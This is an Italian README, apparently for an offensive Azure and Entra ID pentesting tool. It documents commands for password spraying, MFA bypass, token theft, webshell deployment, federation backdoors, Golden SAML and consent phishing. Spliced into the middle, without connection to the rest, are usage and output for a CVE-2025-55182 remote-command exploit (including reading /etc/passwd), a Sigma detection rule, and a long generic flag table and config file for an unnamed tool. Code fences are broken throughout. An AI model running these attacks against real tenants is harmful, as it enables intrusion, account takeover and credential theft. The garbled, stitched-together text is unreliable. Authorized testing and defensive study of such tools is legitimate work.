I binari sono statici (`CGO_ENABLED=0`) e non richiedono dipendenze di runtime.
Le build sono pubblicate per linux e darwin su amd64 e arm64.

I binari per Windows non sono pubblicati. Gli helper specifici per Windows (`prt extract`,
`adconnect sync-creds`, DPAPI) si compilano comunque dal sorgente con `go build -o
azpt.exe .` su un host Windows.

### Dal sorgente

Richiede Go 1.26+.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .

Con credenziali Azure (`az login`), valuta dall'interno — sia il piano
delle risorse (ARM) sia la directory (Entra ID / Graph):```bash
./azpt enum whoami                 # who am I authenticated as?
./azpt enum subscriptions          # what subscriptions can this principal see?
./azpt audit storage               # misconfigured storage accounts
./azpt enum users                  # dump the Entra ID directory (Graph)

---

## Autenticazione

I comandi anonimi `blob` **non** richiedono autenticazione. Tutto il resto utilizza
la **catena di credenziali predefinita** di Azure, che prova, in ordine: variabili
d'ambiente, identità del workload, identità gestita e la CLI di Azure (`az login`).```bash
az login
./azpt enum subscriptions

**Autenticazione basata su certificato** (PFX o PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
       --certificate ./cert.pfx --cert-password 'P@ss' \
       enum subscriptions

---

## Riferimento dei comandi

🧪 indica un comando ancora in **beta**: implementato e utilizzabile, ma meno
collaudato rispetto al resto della suite — aspettati spigoli più ruvidi e
segnala i problemi che incontri.

| Comando | Auth | API | Descrizione |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | Il dominio è supportato da Entra ID? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | Scopri il tenant ID (configurazione OpenID) |
| `recon outsider <domain>` | ❌ | Identity+DNS | Recon completo dall'esterno: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Enumera i sottodomini dei servizi Azure (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | Verifica se gli username esistono in Entra ID |
| `spray` | ❌ | Identity | Password-spray di una password su più username (solo autorizzato) |
| `mfa audit` | ❌ | Identity | Trova le lacune nell'applicazione dell'MFA (ROPC su risorse/client/User-Agent) |
| `mfa token` | ❌ | Identity | Ottieni un access token sfruttando una lacuna MFA (prova automaticamente gli User-Agent) |
| `mfa refresh` | ❌ | Identity | Riscatta un refresh token per il token di un'altra risorsa (FOCI) |
| `mfa devicecode` | ❌ | Identity | Esca di phishing device-code → cattura i token dopo l'accesso della vittima |
| `imds token` | ❌ | IMDS | Genera un token managed-identity su una risorsa compromessa (esegui on-box) |
| `imds loot` | ❌ | IMDS | Preleva in una volta sola i token MI per ARM, Graph, Storage e Key Vault |
| `enum ca` | ✅ | Graph | Enumera le policy di Accesso Condizionale e segnala le lacune MFA |
| `enum deployments` | ✅ | ARM | Elenca la cronologia dei deployment ARM, segnala parametri contenenti segreti |
| `webapp list/settings/creds` | ✅ | ARM | Inventario App Service, impostazioni dell'app, credenziali di pubblicazione Kudu |
| `webapp exec` | ✅ | ARM/Kudu | Esegui un comando su un sito tramite Kudu (RCE) |
| `webapp loot` | ✅ | ARM | Ogni app: impostazioni + stringhe di connessione + credenziali Kudu, segnala i segreti |
| `storage keys` | ✅ | ARM | Elenca le chiavi di accesso di un account di archiviazione |
| `storage sas` | ✅ | ARM | Genera un token SAS di account tramite ARM |
| `vm list` / `vm run` | ✅ | ARM | Elenca le VM / esegui un comando tramite RunCommand |
| `automation list/loot` | ✅ | ARM | Runbook di Automation, variabili, nomi delle credenziali |
| `loot keys` | ✅ | ARM | Raccogli chiavi/stringhe di connessione da Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps |
| `loot apim` | ✅ | ARM | Named value di API Management (inclusi i segreti) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Definizioni di Logic App / linked service di Data Factory |
| `aks list` / `aks kubeconfig` | ✅ | ARM | Elenca i cluster AKS / preleva il kubeconfig cluster-admin |
| `enum approles` | ✅ | Graph | Enumera le concessioni di app-role di Graph, segnala i percorsi di privesc (→ Global Admin) |
| `enum privroles` | ✅ | Graph | Titolari di ruoli di directory privilegiati (attivi + PIM-eligible) |
| `enum grants` | ✅ | Graph | Concessioni delegate OAuth2 (illecite / over-consent), scope pericolosi segnalati |
| `enum laps` | ✅ | Graph | Recupera le password local-admin di Windows LAPS da Entra |
| `enum bitlocker` | ✅ | Graph | Recupera le chiavi di ripristino BitLocker da Entra |
| `enum dynamicgroups` | ✅ | Graph | Gruppi dinamici (basati su regole) — superficie di self-join / privesc |
| `enum guests` / `enum devices` | ✅ | Graph | Utenti guest (B2B) / dispositivi registrati |
| `enum risky` | ✅ | Graph | Caccia a elementi obsoleti/rischiosi: guest, SP di sincronizzazione, break-glass, app con segreti |
| `enum intune` / `intune list` | ✅ | Graph | Elenca i dispositivi gestiti da Intune |
| `intune script` | ✅ | Graph | Distribuisci uno script PowerShell a un gruppo di dispositivi (RCE come SYSTEM) |
| `recon tenantinfo` | ❌ | Identity | Recon approfondito dall'esterno: tenant ID, federazione, Seamless SSO, sincronizzazione on-prem |
| `entra create-app` | ✅ | Graph | Crea app + SP + segreto (identità di persistenza controllabile) |
| `entra reset-password` | ✅ | Graph | Reimposta la password di un utente (account takeover) |
| `token decode` | ❌ | — | Decodifica i claim di un JWT (identità, scope, ruoli, wids→nomi dei ruoli, scadenza) |
| `elevate-access` | ✅ | ARM | Global Admin → User Access Administrator alla radice del tenant (pivot Entra→Azure) |
| `entra add-member/add-owner` | ✅ | Graph | Aggiungi un membro/owner a un gruppo/app/SP (privesc e persistenza) |
| `entra grant` | ✅ | Graph | Crea una concessione di consenso OAuth2 (consenso illecito) |
| `entra invite` / `entra tap` | ✅ | Graph | Invita un guest B2B / crea un Temporary Access Pass (bypass dell'autenticazione) |
| `scan --loot` | ✅ | ARM+Graph | Loot con scansione approfondita: chiavi di Function App, kubeconfig AKS, LAPS, BitLocker, APIM, firewall dei DB, snapshot, ruoli personalizzati, credenziali obsolete |
| `scan --bloodhound` | ✅ | — | Esporta il grafo Entra+ARM come BloodHound CE OpenGraph JSON |
| `enum adminunits` | ✅ | Graph | Administrative Unit e i membri dei ruoli con scope su di esse (abuso di admin con scope AU) |
| `enum identities` | ✅ | ARM | Mappa le managed identity sulle risorse che le ospitano |
| `enum lighthouse` | ✅ | ARM | Deleghe Azure Lighthouse (tenant esterni che gestiscono questa sottoscrizione) |
| `enum pip` | ✅ | ARM | Elenca gli indirizzi IP pubblici nello scope della sottoscrizione |
| `entra update-profile` | ✅ | Graph | Aggiorna gli attributi del profilo di un utente (abuso di gruppi dinamici) |
| `app add-secret` | ✅ | Graph | Aggiungi un client secret a una registrazione di app (persistenza/privesc) |
| `app add-federated` | ✅ | Graph | Aggiungi una credenziale di identità federata (persistenza con IdP esterno) |
| `webapp functionkeys` | ✅ | ARM | Chiavi host di Function App (master key → admin API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | Elenca dischi/snapshot / esportazione read-SAS per il loot offline dei VHD |
| `storage shares` / `storage queues` | ✅ | ARM | Elenca le condivisioni Azure Files / le code di archiviazione |
| `storage peek` / `storage files` | ✅ | Storage | Ispeziona il contenuto dei messaggi in coda / elenca i file delle condivisioni (data plane) |
| `loot aci` | ✅ | ARM/data | Variabili d'ambiente delle Container Instance |
| `loot appconfig` 🧪 | ✅ | ARM/data | Chiave-valore di App Configuration |
| `cosmos list/dump/table` | ✅ | ARM+data | Account, database, container di Cosmos DB, lettura di documenti, Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Segreti + variabili d'ambiente di Container App / exec nella replica / ruba il token MI |
| `iot list/devices/invoke` | ✅ | ARM+data | Chiavi di IoT Hub, identità dei dispositivi, invocazione di direct method (RCE sul dispositivo) |
| `backup vaults/items/restore` | ✅ | ARM | Vault di Recovery Services, elementi di backup + punti di ripristino, ripristino dei dischi |
| `db list/query` | ✅ | ARM+data | Enumerazione e query di server PostgreSQL/MySQL (login Entra o DB) |
| `blob containers` | ❌ | Blob | Elenca tutti i container su un account di archiviazione (con --sas per SAS a livello di servizio) |
| `m365 mail/files/sites` | ✅ | Graph | Raccogli mailbox, OneDrive e SharePoint con un token Graph |
| `blob brute` | ❌ | DNS/Blob | Scopri gli account di archiviazione per nome e sonda i container anonimi |
| `recon takeover` | ❌ | DNS | Segnala CNAME Azure pendenti (subdomain takeover) |
| `audit network` | ✅ | ARM | Verifica l'esposizione a Internet degli NSG e gli IP pubblici |
| `audit keyvault` | ✅ | ARM | Verifica l'accesso pubblico al Key Vault, purge/soft-delete, policy ampie |
| `audit rbac` | ✅ | ARM | Verifica l'igiene RBAC: proliferazione di Owner, UAA, ruoli personalizzati rischiosi |
| `enum subscriptions` | ✅ | ARM | Elenca le sottoscrizioni visibili al principal corrente |
| `enum resources` | ✅ | ARM | Elenca ogni risorsa nello scope della sottoscrizione (`--fast` usa Resource Graph; `--access` aggiunge una colonna con il ruolo RBAC che possiedi su ciascuna) |
| `enum kql` | ✅ | ARM | Esegui una query arbitraria su Azure Resource Graph (KQL) nello scope |
| `enum users` | ✅ | Graph | Elenca gli utenti della directory Entra ID |
| `enum groups` | ✅ | Graph | Elenca i gruppi della directory Entra ID |
| `enum service-principals` | ✅ | Graph | Elenca i service principal / enterprise app |
| `enum apps` | ✅ | Graph | Elenca le registrazioni di app, con il conteggio di segreti/certificati |
| `enum org` | ✅ | Graph | Mostra le informazioni su tenant/organizzazione e i domini verificati |
| `enum whoami` | ✅ | Graph | Mostra l'utente attualmente autenticato (`/me`) |
| `enum access` | ✅ | ARM+Graph | Mostra il tuo accesso effettivo: scope dei token, ruoli di directory, appartenenze ai gruppi, ruoli RBAC |
| `scan` | ✅ | ARM+Graph | Mappa l'accesso dell'utente come grafo di percorsi di attacco in stile BloodHound (+ HTML) |
| `audit storage` | ✅ | ARM | Verifica gli account di archiviazione (accesso pubblico, TLS, trasporto, firewall) |
| `vault list` | ✅ | KV | Elenca segreti, chiavi e certificati in un Key Vault |
| `vault get --secret <n>` | ✅ | KV | Leggi il valore di un singolo segreto del Key Vault |
| `vault dump` | ✅ | KV | Elenca e leggi ogni segreto in un Key Vault |
| `sql databases` | ✅ | SQL | Elenca i database su un server Azure SQL |
| `sql tables` | ✅ | SQL | Elenca le tabelle (con il numero di righe) in un database |
| `sql query -q <sql>` | ✅ | SQL | Esegui una query di sola lettura (le mutazioni richiedono `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | Estrai le righe da una tabella |
| `storage containers` | ✅ | Storage | Elenca i container blob (autenticato) |
| `storage blobs` | ✅ | Storage | Elenca i blob in un container (autenticato) |
| `storage download` | ✅ | Storage | Scarica un blob (autenticato) |
| `storage tables` | ✅ | Storage | Elenca le Storage Table in un account |
| `storage entities` | ✅ | Storage | Interroga/estrai le righe di una Storage Table |
| `blob check <path>` | ❌ | Blob | Esegui una HEAD su un blob per testare la raggiungibilità anonima |
| `blob list` | ❌ | Blob | Elenca un container in modo anonimo (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | Enumera le versioni dei blob — fa emergere file vecchi/superati/cancellati |
| `blob download <path>` | ❌ | Blob | Scarica un blob, opzionalmente con uno specifico `--version-id` |
| `blob hunt` | ❌ | Blob | Sonda i container, enumera le versioni e segnala i file contenenti segreti |
| `vm show` | ✅ | ARM | Informazioni dettagliate sulla VM: user data, IP pubblici/privati, tag, utente admin |
| `vm extensions` | ✅ | ARM | Elenca le estensioni della VM (leak di credenziali della Custom Script Extension) |
| `vm steal-token` | ✅ | ARM | Ruba un token managed-identity da una VM tramite IMDS (RunCommand) |
| `enum synced` | ✅ | Graph | Elenca gli utenti sincronizzati on-premises con i Security Identifier (SID) |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Elenca gli ambienti Power Platform (istanze Dataverse) |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Elenca le applicazioni canvas di Power Apps |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Elenca le tabelle Dataverse (definizioni delle entità) |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | Interroga le righe di una tabella Dataverse tramite OData |
| `webapp deploy` | ✅ | Kudu | Carica un file su una web app tramite Kudu VFS (deployment di webshell) |
| `token extract` | ❌ | — | Estrai i token da un file di cache dei token MSAL (refresh + access) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Canali Teams, ricerca nella posta, ricerca in SharePoint/OneDrive |
| `m365 scan` | ✅ | Graph | Scansiona i dati M365 alla ricerca di segreti, password, credenziali (14 pattern) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Enumera le organizzazioni Azure DevOps: progetti, service connection (SP/tenant/sottoscrizione esposti), variable group, pipeline |
| `devops preview` | ✅ | DevOps | Risolve lo YAML finale di una pipeline dopo l'espansione di template/variabili senza eseguirla |
| `devops run` | ✅ | DevOps | Accoda un'esecuzione reale della pipeline e cattura il suo build log (viene eseguita con l'identità della service connection della pipeline) |
| `arm deploy-script` | ✅ | ARM | Esegui codice in un container ACI transitorio tramite `deploymentScripts` (RCE), con possibilità di collegare una managed identity |
| `persistence grant-rbac` | ✅ | ARM | Assegna un ruolo RBAC (es. Owner) a se stessi o a un principal a qualsiasi scope (privesc/persistenza) |
| `persistence attach-identity` | ✅ | ARM | Collega una managed identity assegnata dall'utente a una risorsa (privesc tramite `steal-token`) |
| `aks kubeconfig --user` | ✅ | ARM | Recupera il kubeconfig dell'utente autenticato con Entra (funziona su cluster con account locali disabilitati) |
| `k8s secrets` | ✅ | K8s | Estrai ogni segreto Kubernetes in un namespace (o nell'intero cluster) |
| `k8s serviceaccounts` | ✅ | K8s | Elenca i service account, segnalando quelli federati tramite Azure Workload Identity |
| `k8s pods` | ✅ | K8s | Elenca i pod e il service account con cui ciascuno viene eseguito |
| `k8s rbac` | ✅ | K8s | Enumera i cluster/role binding, segnalando i percorsi di privesc cluster-admin/wildcard/pod-exec/secrets-read |
| `k8s exec` | ✅ | K8s | Esegui un comando in un pod (RCE non interattiva, con il service account di quel pod) |
| `k8s steal-token` | ✅ | K8s | Genera un token di service account tramite la TokenRequest API (funziona senza un token secret montato) |
| `k8s pivot-azure` | ✅ | K8s→Entra | Ruba un token SA federato con workload identity e scambialo con un vero access token di Azure AD |
| `harvest` | ❌ | — | Raccogli gli archivi di credenziali di az CLI / Az PowerShell su disco (token, segreti SP; archivi protetti con DPAPI su Windows) |
| `prt nonce` 🧪 | ❌ | Identity | Recupera un nonce del server (`srv_challenge`) per la firma del cookie PRT |
| `prt cookie` 🧪 | ❌ | Identity | Costruisci un cookie SSO `x-ms-RefreshTokenCredential` firmato da un PRT + session key (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | Catena SSO PRT completa: nonce → cookie → authorize → access + refresh token |
| `prt extract` 🧪 | ❌ | Identity | On-host (Windows): estrai un cookie SSO fresco da BrowserCore.exe e riscattalo (ROADtoken) |
| `device register` | ✅ | DRS | Registra un dispositivo rogue (join) → certificato/chiave del dispositivo — prerequisito del PRT, bypass della device-CA, persistenza |
| `federation list` | ✅ | Graph | Mostra la configurazione di federazione di un dominio |
| `federation backdoor` | ✅ | Graph | Converti un dominio managed in Federated, fidandoti di uno STS dell'attaccante (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | Forgia un'asserzione SAML firmata per qualsiasi utente e riscattala per ottenere token (Golden SAML) |
| `federation remove` | ✅ | Graph | Elimina una configurazione di federazione (ripristina a Managed / pulizia) |
| `entra phish-app create` 🧪 | ✅ | Graph | Genera un'app multi-tenant di consent-phishing OAuth + URL di consenso (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | Listener locale che intercetta il codice di autorizzazione del consenso e lo riscatta per ottenere token |
| `m365 rules list/add/delete` | ✅ | Graph | Regole di inoltro della posta in arrivo (persistenza silenziosa tramite inoltro della mailbox) |
| `scan dump` | ✅ | ARM+Graph | Estrai la directory + il grafo di attacco in un database SQLite offline in puro Go |
| `scan query <view>` | ❌ | — | Esegui viste analitiche predefinite (`admins`, `password-resetters`, `dangerous-approles`, …) su un dump |
| `adconnect sync-creds` | ✅ | ADSync SQL | Estrai le credenziali di bind di sincronizzazione AD Connect cifrate dal database ADSync (decifra con AADInternals `Get-AADIntSyncCredentials`) |

`azpt` comunica con tre API Azure. I comandi **ARM** usano l'SDK Azure; i
comandi **Graph** (Entra ID / oggetti di directory) usano un token Graph grezzo
dalla stessa credenziale; i comandi **Blob** sono completamente anonimi.

**Flag globali** (prima del sottocomando): `--json`, `--jsonl` (NDJSON, per
pipeline in streaming/stile BloodHound), `--opsec` (stampa la superficie di
rilevamento prima dell'esecuzione), `--subscription <id>` (ripetibile), `--tenant`, `--client-id`,
`--client-secret`, `--certificate` (PFX/PEM), `--cert-password`,
`--access-token` (ripetibile, o `AZPT_TOKEN`), `--refresh-token` (auto-pivot
FOCI), `--cloud` (`public` | `usgov` | `china` — reindirizza gli endpoint
ARM/Graph/login per i cloud sovrani).

Tutte le chiamate ARM e Graph seguono la paginazione `nextLink` (nessun
troncamento silenzioso su tenant di grandi dimensioni) e riprovano su `429`/`503`
rispettando `Retry-After`.

**Guidare azpt con un token rubato.** Qualsiasi comando autenticato accetta un
bearer token ottenuto in precedenza tramite `--access-token` (o `AZPT_TOKEN`)
invece di `az login` — i token catturati da una lacuna MFA (`mfa token`), da una
managed identity (`imds`) o da phishing funzionano direttamente. Fornisci più
token (ARM, Graph, Storage) e ciascuno viene instradato all'API con cui il suo
audience corrisponde:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html

**Flag `blob`** (tutti i sottocomandi `blob`): `--account <name>` (obbligatorio),
`--container <name>` (predefinito `$web`), `--api-version <ver>` (predefinito
`2021-08-06`; deve essere ≥ `2019-12-12` per l'enumerazione delle versioni),
`--endpoint-suffix <suffix>` (predefinito `core.windows.net`; impostare a
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` per i cloud sovrani).

Eseguire `./azpt <command> --help` per l'elenco completo dei flag di qualsiasi comando.

---

## Ricognizione (solo dominio)

I comandi `recon` sono la parte iniziale di un engagement: dato solo un nome di dominio,
determinare se l'organizzazione utilizza Entra ID, trovare il suo tenant ID, mappare la sua
impronta Azure e validare i nomi utente — tutto **non autenticato**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com

# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com

# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30

# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt

# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com

`--confirm` è obbligatorio — omettilo e il comando rifiuta di essere eseguito. I risultati sono
classificati: valido, valido-ma-MFA-richiesta, disabilitato, bloccato (stop!), o non valido.
I codici che si verificano solo *dopo* che la password è stata verificata (MFA, scaduto, CA) sono
riportati come **credenziali valide**.

> ⚠️ Il password spraying è una tecnica intrusiva e rilevabile. Eseguilo solo
> contro tenant per i quali hai un'autorizzazione scritta esplicita a testare.

### Lacune nell'applicazione dell'MFA — `mfa`

Hai **credenziali valide** per un utente ma il Portale di Azure richiede l'MFA.
Le policy di Accesso Condizionale sono spesso limitate per *risorsa*, *app client*,
e *piattaforma del dispositivo* (che Entra deriva dallo `User-Agent`). Se una policy
richiede l'MFA solo quando una richiesta corrisponde a una di quelle condizioni, una richiesta che
non corrisponde a **nessuna** — ad esempio uno User-Agent di piattaforma dispositivo insolito — può ottenere un
token con **nessuna MFA**. Questa è la stessa tecnica di
[FindMeAccess](https://github.com/absolomb/FindMeAccess), utilizzando il flusso ROPC.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm

python3 CVE-2025-55182.py -u <URL> [opzioni]

# Verifica se il target è vulnerabile
python3 CVE-2025-55182.py -u http://target.com --check

# Esegui il comando predefinito (id)
python3 CVE-2025-55182.py -u http://target.com

# Esegui un comando personalizzato
python3 CVE-2025-55182.py -u http://target.com -c "whoami"

# Esegui con proxy e output dettagliato
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd" --proxy http://127.0.0.1:8080 -v

# Imposta un timeout personalizzato
python3 CVE-2025-55182.py -u http://target.com -t 30

[*] Target: http://target.com
[*] Command: id
[*] Timeout: 10s
[*] Checking if target is vulnerable...
[+] Target appears to be VULNERABLE!
[*] Sending exploit payload...
[+] Exploit sent successfully!
[*] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

title: Tentativo di Exploit CVE-2025-55182
description: Rileva tentativi di exploit per la vulnerabilità di deserializzazione React/Next.js
logsource:
  category: webserver
detection:
  selection:
    http_method: POST
    http_content_type: 'application/json'
  keywords:
    - '__proto__'
    - 'constructor'
    - 'prototype'
  condition: selection and keywords
level: critical

Il gap qui è una condizione device-platform in cui *tutte* le piattaforme sono selezionate —
il che sembra sicuro, ma la valutazione applica l'MFA solo quando lo User-Agent
**corrisponde a una** di esse. Uno User-Agent che non corrisponde a nessuna (una PlayStation 5, o una stringa
inventata) ottiene l'accesso. Ora recupera un token utilizzabile ed effettua il pivot:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
    -r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
#   Connect-AzAccount -AccessToken $t -AccountId "j.doe"

`--confirm` è obbligatorio. ROPC invia credenziali reali all'endpoint del token, quindi
tentativi ripetuti possono bloccare l'account e generare avvisi di accesso — la scansione è
**staged** (baseline, poi User-Agents, poi `--full` si estende a ogni client e
risorsa) per mantenere basso il numero di richieste, e `--delay <ms>` la limita.

> ⚠️ Il test MFA basato su ROPC è intrusivo e registrato (appare nei log di accesso di Entra
> come autenticazione ROPC). Solo su incarichi autorizzati.

## Walkthrough: attacco anonimo ai blob

Questo è il workflow principale: compromettere un sito web statico ospitato su Azure
Blob storage, con **zero credenziali**. L'*elencazione* anonima funziona quando il
livello di accesso pubblico di un container è impostato su `Container`; l'*enumerazione delle
versioni* richiede inoltre che il versioning dei blob sia abilitato sull'account.

Per una spiegazione più approfondita di ogni passaggio e del perché funziona, consulta
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md).```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
#    -> HTTP 200  accessible=true

# 2. List the $web container (the default). Note the "versioning:" line —
#    if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite

# 3. Enumerate versions. This surfaces files removed from the live site,
#    e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite

# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
    --version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip

# 5. Inspect the loot.
unzip loot.zip

| `--no-color` | Disabilita l'output colorato |
| `--debug` | Abilita l'output di debug |
| `--verbose` | Abilita l'output dettagliato |
| `--silent` | Sopprime tutto l'output non essenziale |
| `--yes` | Risponde automaticamente "sì" a tutte le richieste |
| `--no-interactive` | Disabilita tutte le richieste interattive |
| `--config <file>` | Specifica un file di configurazione |
| `--profile <name>` | Utilizza un profilo di configurazione specifico |
| `--timeout <seconds>` | Imposta il timeout per le operazioni |
| `--retry <count>` | Imposta il numero di tentativi |
| `--parallel <count>` | Imposta il numero di operazioni parallele |
| `--output <format>` | Imposta il formato di output (json, yaml, table, csv) |
| `--output-file <file>` | Scrive l'output su un file |
| `--log-level <level>` | Imposta il livello di log (debug, info, warn, error) |
| `--log-file <file>` | Scrive i log su un file |
| `--cache-dir <dir>` | Imposta la directory della cache |
| `--temp-dir <dir>` | Imposta la directory temporanea |
| `--work-dir <dir>` | Imposta la directory di lavoro |
| `--home-dir <dir>` | Imposta la directory home |
| `--data-dir <dir>` | Imposta la directory dei dati |
| `--plugin-dir <dir>` | Imposta la directory dei plugin |
| `--theme <name>` | Imposta il tema |
| `--language <code>` | Imposta la lingua |
| `--encoding <charset>` | Imposta la codifica dei caratteri |
| `--version` | Mostra le informazioni sulla versione |
| `--help` | Mostra il messaggio di aiuto |

### Esempi

```bash
# Esegue un comando di base
tool command

# Esegue con output dettagliato
tool command --verbose

# Esegue con un file di configurazione specifico
tool command --config /path/to/config.yaml

# Esegue con un profilo specifico
tool command --profile production

# Esegue con output in formato JSON
tool command --output json

# Esegue con output scritto su un file
tool command --output-file result.json

# Esegue con un timeout specifico
tool command --timeout 30

# Esegue con più tentativi
tool command --retry 3

# Esegue con operazioni parallele
tool command --parallel 4

# Esegue in modalità non interattiva
tool command --no-interactive --yes

# Esegue con output di debug
tool command --debug

# Esegue con output silenzioso
tool command --silent

# Esegue con un livello di log specifico
tool command --log-level debug

# Esegue con i log scritti su un file
tool command --log-file /var/log/tool.log

# Esegue con una directory di cache specifica
tool command --cache-dir /tmp/cache

# Esegue con una directory temporanea specifica
tool command --temp-dir /tmp/work

# Esegue con una directory di lavoro specifica
tool command --work-dir /path/to/work

# Esegue con una directory home specifica
tool command --home-dir /path/to/home

# Esegue con una directory dati specifica
tool command --data-dir /path/to/data

# Esegue con una directory plugin specifica
tool command --plugin-dir /path/to/plugins

# Esegue con un tema specifico
tool command --theme dark

# Esegue con una lingua specifica
tool command --language en

# Esegue con una codifica specifica
tool command --encoding utf-8

# Mostra le informazioni sulla versione
tool --version

# Mostra il messaggio di aiuto
tool --help

# Configurazione del tool
config:
  # Percorso del file di configurazione
  path: /path/to/config.yaml
  
  # Nome del profilo
  profile: default
  
  # Timeout per le operazioni (in secondi)
  timeout: 30
  
  # Numero di tentativi
  retry: 3
  
  # Numero di operazioni parallele
  parallel: 4

# Configurazione dell'output
output:
  # Formato di output (json, yaml, table, csv)
  format: json
  
  # Percorso del file di output
  file: /path/to/output.json
  
  # Abilita l'output colorato
  color: true
  
  # Abilita l'output dettagliato
  verbose: false
  
  # Abilita l'output di debug
  debug: false
  
  # Sopprime l'output non essenziale
  silent: false

# Configurazione del logging
logging:
  # Livello di log (debug, info, warn, error)
  level: info
  
  # Percorso del file di log
  file: /var/log/tool.log
  
  # Formato del log (text, json)
  format: text
  
  # Abilita la rotazione dei log
  rotate: true
  
  # Dimensione massima del file di log (in MB)
  max_size: 100
  
  # Numero massimo di file di log
  max_files: 10

# Configurazione delle directory
directories:
  # Directory della cache
  cache: /tmp/cache
  
  # Directory temporanea
  temp: /tmp/work
  
  # Directory di lavoro
  work: /path/to/work
  
  # Directory home
  home: /path/to/home
  
  # Directory dei dati
  data: /path/to/data
  
  # Directory dei plugin
  plugins: /path/to/plugins

# Configurazione dell'interfaccia utente
ui:
  # Tema (light, dark, auto)
  theme: dark
  
  # Lingua
  language: en
  
  # Codifica dei caratteri
  encoding: utf-8
  
  # Abilita l'output colorato
  color: true
  
  # Abilita le richieste interattive
  interactive: true
  
  # Risponde automaticamente "sì" alle richieste
  yes: false

# Configurazione della rete
network:
  # Timeout della connessione (in secondi)
  connect_timeout: 10
  
  # Timeout di lettura (in secondi)
  read_timeout: 30
  
  # Timeout di scrittura (in secondi)
  write_timeout: 30
  
  # Numero massimo di tentativi
  max_retries: 3
  
  # Abilita il keep-alive
  keep_alive: true
  
  # Abilita la compressione
  compression: true
  
  # User agent
  user_agent: "Tool/1.0.0"
  
  # Server proxy
  proxy: ""
  
  # Host da non utilizzare per il proxy
  no_proxy: ""

# Configurazione della sicurezza
security:
  # Abilita la verifica TLS
  verify_tls: true
  
  # Percorso del file del certificato CA
  ca_cert: /path/to/ca.crt
  
  # Percorso del file del certificato client
  client_cert: /path/to/client.crt
  
  # Percorso del file della chiave client
  client_key: /path/to/client.key
  
  # Abilita il pinning del certificato
  pin_certificate: false
  
  # Abilita la verifica dell'hostname
  verify_hostname: true
  
  # Abilita il controllo della revoca dei certificati
  check_revocation: true

# Configurazione delle prestazioni
performance:
  # Numero massimo di connessioni
  max_connections: 100
  
  # Numero massimo di richieste al secondo
  max_requests_per_second: 1000
  
  # Dimensione del buffer (in KB)
  buffer_size: 4096
  
  # Abilita il pooling delle connessioni
  connection_pool: true
  
  # Dimensione del pool di connessioni
  pool_size: 10
  
  # Timeout di inattività della connessione (in secondi)
  idle_timeout: 60
  
  # Abilita la cache
  cache: true
  
  # Dimensione della cache (in MB)
  cache_size: 100
  
  # TTL della cache (in secondi)
  cache_ttl: 3600

# Configurazione dei plugin
plugins:
  # Abilita i plugin
  enabled: true
  
  # Directory dei plugin
  directory: /path/to/plugins
  
  # Plugin abilitati
  enabled_plugins:
    - plugin1
    - plugin2
  
  # Plugin disabilitati
  disabled_plugins:
    - plugin3
    - plugin4
  
  # Configurazione dei plugin
  config:
    plugin1:
      option1: value1
      option2: value2
    plugin2:
      option1: value1
      option2: value2

**Elenco di container personalizzato** — sovrascrive la wordlist integrata:```bash
./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'

Nulla riguardo a un target specifico è hardcoded — il rilevamento integrato è un insieme
di regex su *classi* di file che possono contenere leak (vedi [Findings](#findings)).

---

## Authenticated looting

Una volta ottenute le credenziali, due workflow contano di più: capire cosa può fare
l'identità, e raggiungere i segreti.

### Cosa può fare questa identità? — `enum access`

Un solo comando consolida la risposta, usando il token con cui sei già autenticato:```bash
./azpt enum access

L'output `--html` è una **mappa di attacco interattiva** a tema scuro **autocontenuta**
